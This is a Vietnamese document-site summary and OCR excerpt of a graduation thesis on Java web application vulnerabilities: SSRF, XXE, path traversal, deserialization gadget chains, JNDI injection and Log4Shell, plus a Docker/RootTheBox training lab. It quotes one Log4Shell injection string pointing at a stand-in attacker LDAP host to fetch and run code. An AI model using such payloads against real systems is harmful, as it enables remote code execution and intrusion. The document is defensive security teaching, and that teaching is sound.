Đồ Án Tốt Nghiệp: Kỹ Thuật Nghiên Cứu và Khai Thác Ứng Dụng Web Java

Chuyên khảo kỹ thuật phân tích Kỹ thuật nghiên cứu và khai thác java web application, đánh giá các khía cạnh quan trọng, đề xuất hướng nghiên cứu tiếp theo.

Chuyên ngành

Kỹ Thuật Nghiên Cứu và Khai Thác Ứng Dụng Web Java

Người đăng

Ẩn danh

Thể loại

Đồ Án Tốt Nghiệp

2023

67
1
0

Phí lưu trữ

30 Point

Mục lục chi tiết

LỜI CAM ĐOAN

LỜI MỞ ĐẦU

1. CHƯƠNG 1: GIỚI THIỆU TỔNG QUAN

1.1. Hiện trạng và lý do thực hiện

1.2. Tổng quan về Java Web Application

1.3. Các khái niệm quan trọng

1.4. Một số công nghệ Java Web phổ biến

1.5. Kỹ thuật và kinh nghiệm trong cài đặt và gỡ lỗi

1.6. Một số hướng phát triển và các công cụ hỗ trợ

1.7. Tổng quan về các lỗ hổng trong Java Web Application

2. CHƯƠNG 2: PHÂN TÍCH MỘT SỐ LỖ HỔNG ĐẶC TRƯNG

2.1. Một số lỗ hổng đặc trưng

2.2. Phân tích CVE-2021-44228

3. CHƯƠNG 3: XÂY DỰNG LAB THỬ NGHIỆM

3.1. Mô tả chung

3.2. Tiến hành thử nghiệm

3.3. Cài đặt môi trường

3.4. Phân tích và khiếu nại

3.5. Kết quả

KẾT LUẬN

DANH MỤC TÀI LIỆU THAM KHẢO

DANH MỤC HÌNH VẼ

DANH MỤC CÁC TỪ VÀ THUẬT NGỮ VIẾT TẮT

Tóm tắt

I. Tổng Quan Nền Tảng Nghiên Cứu và Khai Thác Ứng Dụng Web Java

Trong bối cảnh xã hội số, các ứng dụng web đóng vai trò xương sống cho hoạt động kinh doanh, giải trí và liên lạc. Ngôn ngữ Java, với các đặc tính đơn giản, mạnh mẽ, an toàn và hỗ trợ lập trình hướng đối tượng, đã trở thành lựa chọn hàng đầu cho việc xây dựng ứng dụng web từ quy mô nhỏ đến các hệ thống doanh nghiệp phức tạp. Theo tài liệu gốc 'Nghiên cứu và khai thác Java Web Application', có tới hơn 3 tỉ thiết bị đang chạy Java, và các công ty công nghệ hàng đầu như Twitter, Amazon, Apple đều sử dụng nền tảng này. Sự phổ biến này kéo theo nhu cầu lớn về nhân lực, nhưng cũng đồng thời mở ra những nguy cơ mất an toàn thông tin nghiêm trọng. Việc thiếu kiến thức lập trình an toàn là một trong những nguyên nhân phổ biến nhất dẫn đến lỗ hổng. Do đó, kỹ thuật nghiên cứu và khai thác ứng dụng web Java không chỉ là một lĩnh vực học thuật mà còn là một yêu cầu cấp thiết trong ngành an toàn thông tin. Nghiên cứu này đòi hỏi sự hiểu biết sâu sắc về các công nghệ cốt lõi, kiến trúc hệ thống và tư duy của kẻ tấn công để có thể phát hiện, phân tích và khắc phục các mối đe dọa tiềm ẩn, bảo vệ dữ liệu và hạ tầng quan trọng.

1.1. Các công nghệ nền tảng Java Servlet JSP và JDBC

Java Servlet là công nghệ phía máy chủ, đóng vai trò Controller trong kiến trúc MVC. Nó nhận yêu cầu từ client, xử lý logic và gửi phản hồi về người dùng. Servlet là cốt lõi của nhiều Java web framework hiện đại. JSP (JavaServer Pages) là công nghệ cải tiến từ Servlet, cho phép tách biệt logic nghiệp vụ và giao diện người dùng, đóng vai trò là View. JSP giúp tạo ra các trang web động, hướng dữ liệu. Trong khi đó, JDBC (Java Database Connectivity) là một API chuẩn cho phép các ứng dụng Java tương tác với cơ sở dữ liệu. Việc nắm vững ba công nghệ này là yêu cầu cơ bản và bắt buộc đối với bất kỳ nhà nghiên cứu bảo mật nào muốn phân tích ứng dụng web Java.

1.2. Vai trò của các Java Web Framework Spring Boot và Jakarta EE

Các framework ra đời để đơn giản hóa quá trình phát triển phức tạp. Spring Framework là giải pháp gọn nhẹ, phổ biến nhất cho Java doanh nghiệp. Đặc biệt, Spring Boot đã cách mạng hóa việc phát triển bằng cách cung cấp tính năng tự động cấu hình (Auto-config), nhúng sẵn Tomcat Server, và giảm thiểu các khai báo XML phức tạp. Điều này giúp lập trình viên tập trung vào logic sản phẩm. Jakarta EE (trước đây là Java EE) là một tập hợp các đặc tả kỹ thuật, cung cấp một nền tảng chuẩn hóa để phát triển các ứng dụng doanh nghiệp. Hiểu rõ kiến trúc và cách hoạt động của các framework này là chìa khóa để tìm ra các lỗ hổng mang tính hệ thống.

II. Hiểu Rõ Các Lỗ Hổng Phổ Biến trong Ứng Dụng Web Java

Sự phức tạp của các ứng dụng web Java hiện đại, kết hợp với việc sử dụng vô số thư viện bên thứ ba, tạo ra một bề mặt tấn công rộng lớn. Theo thống kê từ NVD (National Vulnerability Database) được trích dẫn trong tài liệu nghiên cứu, số lượng CVE (Common Vulnerabilities and Exposures) được công bố tăng lên mỗi năm, cho thấy các mối đe dọa không ngừng gia tăng. Đồ án tập trung vào các lỗ hổng đặc trưng và có tác động lớn, thường xuất hiện trong các sản phẩm thực tế và các cuộc thi CTF. Các lỗ hổng này bao gồm Deserialization, XML External Entity (XXE), Server-Side Request Forgery (SSRF), Path Traversal, và JNDI Injection. Việc phân tích các lỗ hổng này không chỉ dừng lại ở mức độ hộp đen (black-box) mà cần đi sâu vào phân tích mã nguồn (white-box) để hiểu rõ bản chất và nguyên nhân gốc rễ, từ đó tìm ra các phương pháp khai thác sáng tạo và các biện pháp phòng chống hiệu quả. Nắm vững các loại lỗi này là nền tảng để tiến hành các hoạt động nghiên cứu bảo mật chuyên sâu.

2.1. Nguy cơ từ SSRF Server Side Request Forgery

SSRF là một lỗ hổng cho phép kẻ tấn công buộc ứng dụng phía máy chủ thực hiện các yêu cầu HTTP đến một miền tùy ý. Trong môi trường Java, mối đe dọa này còn nghiêm trọng hơn khi có thể bị khai thác qua các giao thức đặc thù như jar:// hoặc classpath://. Hậu quả của SSRF rất đa dạng, từ việc quét các cổng dịch vụ trong mạng nội bộ, truy cập siêu dữ liệu của các nhà cung cấp đám mây, cho đến việc đọc các tệp tin nhạy cảm trên hệ thống tệp của máy chủ. Tài liệu gốc nhấn mạnh, kẻ tấn công có thể lợi dụng SSRF để xâm phạm cơ sở hạ tầng back-end và đánh cắp dữ liệu nhạy cảm.

2.2. Lỗ hổng XXE XML External Entity và cách khai thác

Lỗ hổng XXE phát sinh khi một ứng dụng phân tích cú pháp đầu vào XML từ người dùng một cách không an toàn. Kẻ tấn công có thể lợi dụng tính năng thực thể ngoài (External Entity) trong DTD (Document Type Definition) để đọc các tệp cục bộ, thực hiện quét mạng nội bộ, hoặc thậm chí gây ra một cuộc tấn công từ chối dịch vụ (DoS). Bản chất của lỗi nằm ở việc các trình phân tích XML mặc định cho phép các tính năng nguy hiểm. Việc khai thác thành công XXE có thể dẫn đến rò rỉ toàn bộ mã nguồn ứng dụng hoặc các tệp cấu hình quan trọng.

2.3. Rủi ro từ Path Traversal trong truy cập tệp hệ thống

Path Traversal, hay còn gọi là Directory Traversal, là một lỗ hổng cho phép truy cập trái phép vào các tệp và thư mục bên ngoài thư mục gốc của ứng dụng web. Bằng cách thao tác với các chuỗi ký tự như ../, kẻ tấn công có thể "leo" ra khỏi thư mục được cho phép và đọc các tệp hệ thống quan trọng, ví dụ như /etc/passwd. Lỗi này thường xảy ra do việc xác thực đầu vào không đầy đủ khi ứng dụng xử lý các đường dẫn tệp do người dùng cung cấp. Mặc dù đơn giản, Path Traversal vẫn là một trong những lỗ hổng phổ biến và nguy hiểm.

III. Phương Pháp Phân Tích Mã Nguồn và Gỡ Lỗi Ứng Dụng Web Java

Để phát hiện các lỗ hổng phức tạp, việc chỉ quét tự động là không đủ. Kỹ thuật nghiên cứu và khai thác ứng dụng web Java đòi hỏi phương pháp phân tích thủ công chuyên sâu, kết hợp giữa đọc hiểu mã nguồn và gỡ lỗi động. Tài liệu gốc nhấn mạnh tầm quan trọng của việc gỡ lỗi (debugging), vì nếu không, nhà nghiên cứu sẽ không thể lần theo luồng thực thi của mã nguồn, đặc biệt khi gặp các interface hoặc lớp trừu tượng. Quá trình này bắt đầu bằng việc thu thập tất cả các tệp JAR của ứng dụng, thiết lập một dự án trong IntelliJ IDEA và cấu hình gỡ lỗi từ xa. Các công cụ hiện đại như CodeQL và Gadget Inspector hỗ trợ quá trình này bằng cách tự động hóa một phần việc tìm kiếm, nhưng kinh nghiệm và khả năng phân tích của con người vẫn là yếu tố quyết định. Phương pháp tiếp cận thường là tìm kiếm từ điểm cuối (sink) - nơi thực thi các hàm nguy hiểm - và truy ngược về điểm đầu (source) - nơi dữ liệu người dùng được nhập vào.

3.1. Kỹ thuật gỡ lỗi từ xa với JDWP và IntelliJ IDEA

Gỡ lỗi từ xa là một kỹ thuật cực kỳ quan trọng. Nó cho phép nhà nghiên cứu tạm dừng thực thi ứng dụng tại bất kỳ điểm nào, kiểm tra giá trị của các biến và hiểu rõ luồng logic. Giao thức được sử dụng là JDWP (Java Debug Wire Protocol). Bằng cách thêm tham số JDWP vào dòng lệnh khởi động ứng dụng Java, ta có thể kết nối từ một IDE như IntelliJ IDEA để tiến hành gỡ lỗi. Công cụ này cung cấp các tính năng mạnh mẽ như 'Find Usages' để tìm mọi nơi một phương thức được gọi, giúp việc truy vết mã nguồn trở nên hiệu quả hơn rất nhiều.

3.2. Quản lý dependencies và tìm lỗi với Maven và Gradle

Một phần lớn các lỗ hổng không nằm trong mã nguồn do lập trình viên viết ra, mà nằm trong các thư viện phụ thuộc. MavenGradle là hai trình quản lý gói (Package Manager) phổ biến nhất trong hệ sinh thái Java. Chúng tự động tải về và quản lý các thư viện cần thiết. Việc phân tích các tệp cấu hình như pom.xml (Maven) hoặc build.gradle (Gradle) giúp nhà nghiên cứu xác định các thư viện và phiên bản đang được sử dụng, từ đó khoanh vùng các lỗ hổng đã được công bố hoặc tiến hành phân tích sâu hơn vào các thư viện đó.

IV. Kỹ Thuật Khai Thác Lỗ Hổng JNDI Injection và Deserialization

Đây là hai trong số những loại lỗ hổng nghiêm trọng nhất trong ứng dụng Java, thường dẫn trực tiếp đến Thực thi mã từ xa (RCE). Lỗ hổng Deserialization, được xếp hạng CWE-502, xảy ra khi ứng dụng giải tuần tự hóa dữ liệu không đáng tin cậy do người dùng kiểm soát. Quá trình này có thể bị lợi dụng để thực thi các đoạn mã có sẵn trong ứng dụng, được gọi là "gadget chains". JNDI Injection là một kỹ thuật tấn công lợi dụng API JNDI (Java Naming and Directory Interface) để truy vấn và tải các đối tượng độc hại từ các dịch vụ từ xa như LDAP hoặc RMI. Lỗ hổng Log4Shell (CVE-2021-44228) chính là một ví dụ điển hình và tàn khốc của JNDI Injection, cho thấy mức độ ảnh hưởng rộng lớn của loại lỗ hổng này. Việc nghiên cứu hai kỹ thuật này đòi hỏi kiến thức sâu về cơ chế hoạt động bên trong của JVM và các thư viện phổ biến.

4.1. Phân tích lỗ hổng Log4Shell CVE 2021 44228

Log4Shell là một lỗ hổng nghiêm trọng trong thư viện ghi log Apache Log4j. Kẻ tấn công chỉ cần chèn một chuỗi độc hại, ví dụ ${jndi:ldap://attacker.com/payload}, vào bất kỳ dữ liệu nào được ứng dụng ghi lại (như User-Agent). Khi Log4j xử lý chuỗi này, nó sẽ thực hiện một truy vấn JNDI đến máy chủ LDAP của kẻ tấn công, tải về một lớp Java độc hại và thực thi nó. Điều này dẫn đến RCE. Tài liệu gốc phân tích chi tiết luồng hoạt động từ logIfEnabled() đến lookup(), cho thấy sai sót trong việc xử lý các giao thức JNDI nguy hiểm.

4.2. Hiểu sâu về Deserialization và các Gadget Chains

Serialization là quá trình chuyển đổi một đối tượng Java thành một luồng byte để lưu trữ hoặc truyền đi. Deserialization là quá trình ngược lại. Lỗ hổng phát sinh khi luồng byte này bị kẻ tấn công kiểm soát. Cuộc tấn công không tiêm mã mới mà tái sử dụng các đoạn mã (gadgets) đã tồn tại trong classpath của ứng dụng để tạo thành một chuỗi thực thi (gadget chain). Các công cụ như Ysoserial tổng hợp các gadget chain đã biết cho các thư viện phổ biến như Apache Commons Collections. Việc xác định sự tồn tại của lỗ hổng này có thể dựa vào các "số ma thuật" như AC ED 00 05 trong dữ liệu nhị phân.

V. Hướng Dẫn Xây Dựng Lab Thực Hành Khai Thác Ứng Dụng Web

Lý thuyết phải đi đôi với thực hành. Một phương pháp học hiệu quả là xây dựng một môi trường lab an toàn để thử nghiệm các kỹ thuật tấn công. Đồ án đã phát triển một hệ thống lab dựa trên Docker và nền tảng CTF RootTheBox. Mục tiêu của lab là giúp người mới bắt đầu làm quen với việc phân tích và khai thác các lỗ hổng trong môi trường hộp xám (grey-box), nơi có sẵn mã nguồn để đối chiếu. Hệ thống này gộp nhiều bài lab vào một ảnh Docker duy nhất, giúp việc cài đặt trở nên đơn giản chỉ với một dòng lệnh. Các bài lab được thiết kế để mô phỏng các lỗi thực tế, từ sai sót của lập trình viên đến các lỗ hổng trong framework như Liferay hay RESTEasy. Qua đó, người học có thể rèn luyện kỹ năng phân tích mã nguồn, gỡ lỗi và xây dựng các payload khai thác hiệu quả, giúp tiết kiệm thời gian và công sức so với việc tự dựng môi trường từ đầu.

5.1. Thiết lập môi trường lab với Docker và RootTheBox

Hệ thống lab sử dụng Docker để đóng gói toàn bộ ứng dụng và các dịch vụ phụ thuộc, đảm bảo tính nhất quán và di động. Nền tảng quản lý bài lab là RootTheBox, một mã nguồn mở cung cấp giao diện quản trị, hệ thống tính điểm thời gian thực, và hỗ trợ nhiều dạng bài tập. Người dùng chỉ cần chạy lệnh docker-compose up --build để khởi tạo toàn bộ môi trường. Việc này loại bỏ các rào cản về cài đặt và cấu hình, cho phép người học tập trung hoàn toàn vào việc nghiên cứu lỗ hổng.

5.2. Case Study Khai thác Deserialization trong RESTEasy

Bài lab này mô phỏng lỗ hổng CVE-2016-7050 trong RESTEasy, một framework để xây dựng RESTful API. Lỗ hổng xảy ra do SerializableProvider được bật mặc định. Khi ứng dụng sử dụng annotation @Consumes("*/*") và một lớp DTO triển khai java.io.Serializable, kẻ tấn công có thể gửi một yêu cầu với Content-Type: application/x-java-serialized-object. RESTEasy sẽ sử dụng SerializableProvider để giải tuần tự hóa payload, dẫn đến RCE nếu có một gadget chain phù hợp trong classpath. Đây là một ví dụ điển hình về việc cấu hình không an toàn trong framework có thể tạo ra lỗ hổng nghiêm trọng.

10/07/2025

Trích đoạn nội dung tài liệu

Chương I trình bày giới thiệu tống quan, các khái niệm và hiện trạng, lý do thực hiện. Chương 2 sẽ nghiên cứu một số lỗ hồng đặc trưng và phân tích CVE-2021-44228. Chương 3 trình bày nội dung về xây dựng lab thử nghiệm về các lỗ hồng đặc trưng. 10 CHUONG 1: GIOI THIEU TONG QUAN Chuong I trinh bày hiện trạng và lý do thực hiện, tông quan và các khái niệm quan trọng, công nghệ phô biên, kỹ thuật và kinh nghiệm cài đặt và gỡ lôi, một sô hướng phát triên và các công cu ho tro.

Bên cạnh đó chương này còn nêu ra tông quan về các lô hồng trong Java Web Application 1. Hiện trạng và lý do thực hiện Hiện nay có rât nhiêu trang web đang chạy trên nên Java. Ngoài ra còn có các CMS, khung phân mêm nôi tiêng sử dụng Java làm cơ sở đê phát triên các gói dịch vụ của họ, dưới đây là danh sách một vài các sản phâm nôi tiêng như: - Liferay - Vmware - Cac sản phẩm cua Atlassian - Manage engine - Jenkins - Zimbra - _ Các sản phẩm của Apache - _ Các sản phẩm của Oracle - __ Và rất nhiều các sản phẩm của các công ty công nghệ nỗi tiếng được viết trên nền Java nhu: Twitter, Amazon, Apple, SonicWall,. 3) COIQACL€' zimb ra’ &.

3 Lif ManageEngine) PROJECT PERSPECTIVES | eray a division of Zoho Corp. ea eee” Apache RocketMQ * e (3 # 13) / O KPACHE ' Apache Flink and The Apache Way & # h Jenkins DPBBBO t2mzz” , TOP-LEVEL PROJECT Hình 1.1 Một số sản phẩm Java Web Java Web rất phô biến và phát triển do lương cho lập trình viên khá cao. Java xuất hiện lần đầu năm 1995 cho tới nay ước tính có tới hơn 3 tỉ thiết bị chạy Java. Java là một nền tảng miễn phí, dễ đọc, có một cộng đồng lớn, số lượng API và thư viện rộng.

Ngoài ra Java có tài liệu tham khảo chi tiết và phong phú. Đặc biệt các công cụ phát triên, kiếm thử và gỡ lỗi rất mạnh. 11 Vị trí Lập Trình Viên Java Địa điểm - Lương khảo sát ma Lương trung bình 9,8 Tr 173 Tr „ i i 13,5 Tr/ tháng ' ' STr 13,5 Tr 45 Tr Luong trung binh 13,5 Tr Luong bac cao 17,3 Tr (Thấp nhất) (Trung bình. Xem thêm tại http://vietnamsalary.2 Mức lương Java Web theo thống kê từ CareerBuilder Bên cạnh sự phô biến đó thì rất nhiều lập trình viên không cân thận, thiếu kiến thức đảm bảo an toàn,.

Dẫn đến hệ luy là trong các sản phẩm còn chứa rất nhiều lỗ hồng. Do đó việc nghiên cứu và tìm lỗi nằm trong các thư viện, khung phần mềm và nền tảng này là điều hết sức cần thiết. CVEs Per Year 20000 4 17500 3 15000 3 12500 3 New CVEs 10000 + 75004 5000 + 2500 4 1990 1995 2000 2005 2010 2015 Date Hình 1.3 Thong ké sé luong CVE moi nam theo sé liéu ctia NVD Dù có khá nhiều các công cụ, phần mềm hỗ trợ phân tích tĩnh nhưng những phan mềm này tìm được lỗi thì hầu hết người khác và các công ty, tổ chức của các sản phẩm cũng đã mua và chạy rồi nên xác suất tìm được lỗi không cao, đặc biệt là không thể tìm được các lỗi và kỹ thuật chưa biết. Do vậy việc tìm kiếm các kỹ thuật và lỗ hồng mới phải do con người nghiên cứu và phân tích thủ công.

Hiện nay các tài liệu và mạng internet thi hầu hết chưa có nhiều về lĩnh vực nghiên cứu lỗ hồng. Kiến thức thường khái quát và dàn trải, dẫn tới khi muốn nghiên cứu về một thứ gì đó mới thường sẽ tốn thời gian và công sức, đặc biệt là khó phân biệt đúng sai. Về một nội dung tông hợp cơ bản về hướng nghiên cứu trong lĩnh vực Java Web 12 Application thì hiện tại chưa có. Chính vì vậy, đỗ án này được thực hiện nhằm hướng dẫn những người mới bắt đầu về những nội dung cơ bản.

Các nội dung soạn ra bao gồm kiến thức trọng tâm, những thứ bắt buộc phải học để bắt đầu nghiên cứu. Sau khi hoàn thành chương trình này, người đọc có thể tự chọn được hướng đi của bản thân, tiết kiệm được thời gian và công sức nhưng vẫn đem lại hiệu quả. Téng quan vé Java Web Application Java Web Application là một tập hợp các tài nguyên động (chăng hạn như Serviet, trang JavaServer, cac classes va jars) và các tài nguyên fĩnh (các trang HTML và hình ảnh). Một ứng dụng web Java có thể được triên khai dưới dạng tệp WAR.

Java cung cấp các API của Servlet và JSP giúp đơn giản hoá việc thực hiện tạo trang web. Đối với Java Web Application rất dễ tiếp cận, mục tiêu nhiễu, công cụ tài liệu cũng rất rất nhiều. Dễ tiếp cận vì kiến thức không quá phức tạp nhưng khá dàn trải, mục tiêu nhiều do thế giới mạng ngày càng to lớn, rất rất nhiều thứ được phát triển trên web. Do đây là mảng nhiều người quan tâm nhất, do đó tỉ lệ công cụ và tài liệu cũng tỉ lệ thuận VỚI nÓ.

Java Web Application su dung mô hinh Web Server va Client: - May chủ Web là một phần mềm có thể xử lý yêu cầu của máy khách và gửi phản hồi lại cho máy khách. Ví dụ, Apache là một trong những máy chủ web được sử dụng rộng rãi nhất. Máy chủ Web chạy trên một số máy vật lý và lắng nghe yêu cầu của khách hàng trên một công cụ thê. - May chủ Web là một phần mềm có thể xử lý yêu cầu của máy khách và gửi phản hồi lại cho máy khách.

Ví dụ, Apache là một trong những máy chủ web được sử dụng rộng rãi nhất. Máy chủ Web chạy trên một số máy vật lý và lắng nghe yêu cầu của khách hàng trên một công cụ thê. Các khái niệm quan trọng Những khái niệm trong phần này đều là những khái niệm cốt lõi, nó không chỉ giúp ích cho việc tìm hiểu về Java Web Application mà còn giúp chúng ta dễ dàng trong việc nghiên cứu lỗ hồng, cài đặt và gỡ lỗi. Những phần này hầu hết đều là kiến thức dành cho lập trình viên, là những yêu cầu cơ bản và bắt buộc các nhà nghiên cứu cần phải biết.

Danh sách các khái niệm cần nắm rõ bao gồm: - - Hướng đối tượng và cơ sở dữ liệu. - _ Lập trình với Java và Java Web. - May chu wng dung web (Java Application Servers): Tomcat, Websphere, Weblogic, JBoss, Jetty. - Trinh quan ly goi (Package Manager): Maven va Gradle.

- API phan chiéu (Java Reflection API). - Triéu goi phuong thi tu xa (Remote Method Invocation). 13 - Tai lop trong Java (Java Class Loading). - Ngén ngit biéu thc (Expression Language): SpEL, OGNL, MVEL, JBoss EL.

- Bo xv ly mau (Template Engine): Thymeleaf, Freemarker, Velocity, JSP. Một số công nghệ Java Web phố biến 1. Servlet Servlet là 1 công nghệ hay API và là một thành phần để xây dựng ứng dụng web động năm về phía máy chủ. Đóng vai trò là một controller trong mô hình kiến trúc MVC.

Servlet nhận yêu cầu từ phía client sau đó thực hiện các yêu cầu cần xử lý và gửi phản hồi về phía người dùng. Nó được tải sẵn ở máy chủ web một lần duy nhất khi ứng dụng web được triển khai và các nhà phát triển không cần phải khởi tạo nó. Các Servlet mở rộng khả năng của một máy chủ vì chúng có thể đáp ứng nhiều loại yêu cầu, nó hoạt động giống như các thùng chứa đề lưu trữ các ứng dụng web trên các máy chủ web. Nó hỗ trợ gần như tất cả các giao thức máy khách-máy chủ, nhưng thường được sử dụng với HTTP và còn được gọi là HTTP servlet.

Cách thức hoạt động cơ bản như sau: - _ Người dùng gửi yêu cầu tới máy chủ web thông qua giao thức HTTP - _ Web Server chuyền tiếp yêu cầu cho thùng chứa web - _ Thùng chứa web lại chuyền tiếp yêu cầu cho Servlet ở dạng đối tượng yêu cầu ( Request ObJect) - Servlet sé tạo ra đối tượng phản hồi (Response Object), có thể tương tác với cơ sở dữ liệu tại đây và gửi nó lại thùng chứa web - _ Web Container sẽ chuyên đổi đối tượng phản hôi đó thành phản hồi HTTP ( HTTP Response) và gửi đến máy chủ web - _ Cuối cùng máy chủ web gửi phản hỏi lại cho người dùng và hiển thị ra màn hình Web Server Http Request Web Container Http Response ————+ Database Hình L.4 Kiến trúc của Servlet 14 Http Request Request Object Http Request Web Container < <= Http Response Browser Http Response Response Object Hình 1.5 Kiến trúc chỉ tiết Như chúng ta thấy, người dùng trước kia chỉ có thê yêu cầu 1 web tĩnh (static web) từ máy chủ. Tuy nhiên, như vậy vẫn là chưa đủ nếu người dùng muốn tương tác với trang web dựa trên dữ liệu của người đó hay là truy vấn cơ sở dữ liệu để lấy thông tin,. Cơ bản thì người dùng yêu câu gì thì web làm theo như thế (web động). Ví dụ người dùng nhập thông tin vào web và yêu cầu lưu thông tin đó lại và hiển thị trên trang cá nhân.

Ý tưởng cơ bản của thùng chứa web là sử dụng Java đề tự động tạo trang web ở phía máy chủ, xử lý các yêu cầu tính toán từ phía máy khách và tra lại các kết quả cho người dùng. Vậy nên, web container thực chất là một phần của máy chủ web và có nhiệm vụ tương tác với các servlet. Và đúng như tên gọi thì nó giỗng như l cái thùng chứa, chứa tat cả các servlet ở bên trong. Về vòng đời hay là một tiễn trình đây đủ từ khi được tạo ra đến khi bị huỷ, bao gồm các giai doan: - _ Servlet được khởi tạo bởi gọi phương thức init(): chi duoc goi 1 lan khi Servlet lần đầu được tạo - _ Servlet gọi phương thức service() để xử lý một yêu cầu từ Client: là phương thức chính đề thực hiện các tác vụ, khi nhận I yeu cầu mới thì server tạo I thread mới, sau đó kiểm tra kiểu yêu cầu GET, POST,.

và gọi các phương thức tương ứng doGet, doPost,. Chúng ta sẽ cần ghi đè các phương thức này đề có thể xử lý tuỳ ý yêu cầu. - _ Servlet bị hủy bởi triệu hồi phương thức destroy(): cũng chỉ được gọi 1 lần ở giai đoạn cuối trong vòng đời của Servlet, thực hiện đóng kết nối Database, dừng thread,. - __ Cuối cùng, servlet trở thành rác và được thu thập bởi Garbage Collector cua JVM.

15 : init() Concurrent ' Http Requests ‘ Web Container. (Servlet Container) service() , Web server \ JVM N “ Hình 1.

Nội dung được bảo vệ bản quyền — Tải xuống đầy đủ